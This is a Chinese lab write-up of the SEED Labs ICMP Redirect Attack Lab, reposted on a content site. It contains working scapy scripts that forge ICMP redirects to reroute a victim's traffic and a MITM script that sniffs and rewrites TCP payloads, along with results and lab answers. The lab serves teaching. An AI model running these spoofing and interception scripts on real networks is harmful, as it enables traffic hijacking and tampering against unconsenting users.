本文為 SEED Labs 2.0 - ICMP Redirect Attack Lab 的實(shí)驗(yàn)記錄。
實(shí)驗(yàn)原理
ICMP 重定向是路由器向 IP 數(shù)據(jù)包發(fā)送者發(fā)送的錯(cuò)誤消息。 當(dāng)路由器認(rèn)為數(shù)據(jù)包被錯(cuò)誤地路由時(shí)，使用重定向，并且它想通知發(fā)送者它應(yīng)該為隨后發(fā)送到同一目的地的數(shù)據(jù)包使用不同的路由器。攻擊者可以使用 ICMP 重定向來更改受害者的路由。
本實(shí)驗(yàn)的目的是對(duì)受害者發(fā)起 ICMP 重定向攻擊，這樣當(dāng)受害者向 192.168.60.5 發(fā)送數(shù)據(jù)包時(shí)，它將使用惡意路由器容器（10.9.0.111）作為其路由器。由于惡意路由器被攻擊者控制，攻擊者可以截取數(shù)據(jù)包，進(jìn)行修改，然后將修改后的數(shù)據(jù)包發(fā)送出去。這是中間人 (MITM) 攻擊的一種形式。本實(shí)驗(yàn)涵蓋以下主題：
- IP 和 ICMP 協(xié)議
- ICMP 重定向攻擊
- 路由
Task 1: Launching ICMP Redirect Attack
啟動(dòng) docker：
$ dcbuild
$ dcup
首先修改 shell 以便查看：
# export PS1="\w victim-10.9.0.5$ "
# export PS1="\w attacker-10.9.0.105$ "
# export PS1="\w host-192.168.60.5$ "
# export PS1="\w malicious-router-10.9.0.111$ "
首先在 victim 上查看到 192.168.60.5 的路由：
victim-10.9.0.5$ mtr -n 192.168.60.5
這里的路由是正常的。
然后保持其 ping 192.168.60.5：
victim-10.9.0.5$ ping 192.168.60.5 &
編寫 icmp.py：
#!/usr/bin/python3
from scapy.all import *
ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=1)
icmp.gw = '10.9.0.111'
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());
在 attacker 上運(yùn)行：
attacker-10.9.0.105$ icmp.py
.
Sent 1 packets.
此時(shí) victim 的路由改變：
victim-10.9.0.5$ mtr -n 192.168.60.5
Question 1: Can you use ICMP redirect attacks to redirect to a remote machine? Namely, the IP address assigned to icmp.gw is a computer not on the local LAN. Please show your experiment result, and explain your observation.
修改程序：
#!/usr/bin/python3
from scapy.all import *
ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=1)
icmp.gw = '192.168.60.6'
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());
然后保持victim ping 192.168.60.5：
victim-10.9.0.5$ ping 192.168.60.5 &
清空 cache：
victim-10.9.0.5$ ip route flush cache
在 attacker 上運(yùn)行：
attacker-10.9.0.105$ icmp.py
.
Sent 1 packets.
此時(shí)查看 victim 的路由：
victim-10.9.0.5$ mtr -n 192.168.60.5
可以看出，此時(shí)沒有變化。
Question 2: Can you use ICMP redirect attacks to redirect to a non-existing machine on the same network? Namely, the IP address assigned to icmp.gw is a local computer that is either offline or non-existing. Please show your experiment result, and explain your observation.
修改程序：
#!/usr/bin/python3
from scapy.all import *
ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=1)
icmp.gw = '10.9.0.99'
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());
然后保持 victim ping 192.168.60.5：
victim-10.9.0.5$ ping 192.168.60.5 &
清空 cache：
victim-10.9.0.5$ ip route flush cache
在 attacker 上運(yùn)行：
attacker-10.9.0.105$ icmp.py
.
Sent 1 packets.
此時(shí)查看 victim 的路由：
victim-10.9.0.5$ mtr -n 192.168.60.5
可以看出，此時(shí)沒有變化。：
Question 3: If you look at the docker-compose.yml file, you will find the following entries for the malicious router container. What are the purposes of these entries? Please change their value to 1, and launch the attack again. Please describe and explain your observation.
修改 dockerfile：
- net.ipv4.conf.all.send_redirects=1
- net.ipv4.conf.default.send_redirects=1
- net.ipv4.conf.eth0.send_redirects=1
編寫 icmp.py：
#!/usr/bin/python3
from scapy.all import *
ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=1)
icmp.gw = '10.9.0.111'
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());
在 attacker 上運(yùn)行：
attacker-10.9.0.105$ icmp.py
.
Sent 1 packets.
此時(shí)查看 victim 的路由：
victim-10.9.0.5$ mtr -n 192.168.60.5
可以看到，也失敗了。
Task 2: Launching the MITM Attack
先把所有東西改回原樣。
關(guān)閉轉(zhuǎn)發(fā)：
- net.ipv4.ip_forward=0
保持 victim ping 192.168.60.5：
victim-10.9.0.5$ ping 192.168.60.5 &
編寫 icmp.py：
#!/usr/bin/python3
from scapy.all import *
ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=1)
icmp.gw = '10.9.0.111'
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());
在 attacker 上運(yùn)行：
attacker-10.9.0.105$ icmp.py
.
Sent 1 packets.
編寫 mitm.py：
#!/usr/bin/env python3
from scapy.all import *
print("LAUNCHING MITM ATTACK.........")
def spoof_pkt(pkt):
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
if pkt[TCP].payload:
data = pkt[TCP].payload.load
print("*** %s, length: %d" % (data, len(data)))
# Replace a pattern
newdata = data.replace(b'Chenyang', b'AAAAAAAA')
send(newpkt/newdata)
else:
send(newpkt)
f = 'tcp and ether src 02:42:0a:09:00:05'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
在 malicious-server 上運(yùn)行：
malicious-router-10.9.0.111$ mitm.py
LAUNCHING MITM ATTACK.........
在 host 上啟動(dòng) nc：
host-192.168.60.5$ nc -lp 9090
在 victim 上連接并發(fā)送內(nèi)容：
victim-10.9.0.5$ nc 192.168.60.5 9090
aaaa
Chenyang
host 接收到：
host-192.168.60.5$ nc -lp 9090
aaaa
AAAAAAAA
malicious-server 顯示：
malicious-router-10.9.0.111$ mitm.py
LAUNCHING MITM ATTACK.........
.
Sent 1 packets.
.
Sent 1 packets.
*** b'aaaa\n', length: 5
.
Sent 1 packets.
*** b'Chenyang\n', length: 9
.
Sent 1 packets.
可以看到，攻擊成功。
Question 4: In your MITM program, you only need to capture the traffics in one direction. Please indicate which direction, and explain why.
只需要過濾出 victim 到 host 的報(bào)文即可，因?yàn)樾枰薷牡膱?bào)文就在這個(gè)方向上。
Question 5: In the MITM program, when you capture the nc traffics from A (10.9.0.5), you can use A’s IP address or MAC address in the filter. One of the choices is not good and is going to create issues, even though both choices may work. Please try both, and use your experiment results to show which choice is the correct one, and please explain your conclusion.
修改 mitm.py：
#!/usr/bin/env python3
from scapy.all import *
print("LAUNCHING MITM ATTACK.........")
def spoof_pkt(pkt):
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
if pkt[TCP].payload:
data = pkt[TCP].payload.load
print("*** %s, length: %d" % (data, len(data)))
# Replace a pattern
newdata = data.replace(b'Chenyang', b'AAAAAAAA')
send(newpkt/newdata)
else:
send(newpkt)
f = 'tcp and src host 10.9.0.5'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
在 malicious-server 上運(yùn)行：
malicious-router-10.9.0.111$ mitm.py
LAUNCHING MITM ATTACK.........
在 host 上啟動(dòng) nc：
host-192.168.60.5$ nc -lp 9090
在 victim 上連接并發(fā)送內(nèi)容：
victim-10.9.0.5$ nc 192.168.60.5 9090
aaaa
Chenyang
host 接收到：
host-192.168.60.5$ nc -lp 9090
aaaa
AAAAAAAA
malicious-server 顯示：
malicious-router-10.9.0.111$ mitm.py
LAUNCHING MITM ATTACK.........
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
*** b'AAAAAAAA\n', length: 9
.
Sent 1 packets.
*** b'aaaa\n', length: 5
可以看到，攻擊成功。但是 malicious-server 卻在瘋狂地發(fā)送報(bào)文。這是因?yàn)樗东@到了自己發(fā)送的報(bào)文，發(fā)送完又捕獲到了，陷入了死循環(huán)。文章來源：http://www.zghlxwxcb.cn/news/detail-445855.html
實(shí)驗(yàn)總結(jié)
本實(shí)驗(yàn)較為簡(jiǎn)單。文章來源地址http://www.zghlxwxcb.cn/news/detail-445855.html
到了這里，關(guān)于【SEED Labs 2.0】ICMP Redirect Attack Lab的文章就介紹完了。如果您還想了解更多內(nèi)容，請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！
![[SEEDLabs] Meltdown & Spectre Attack Labs](https://imgs.yssmx.com/Uploads/2024/02/453799-1.png)
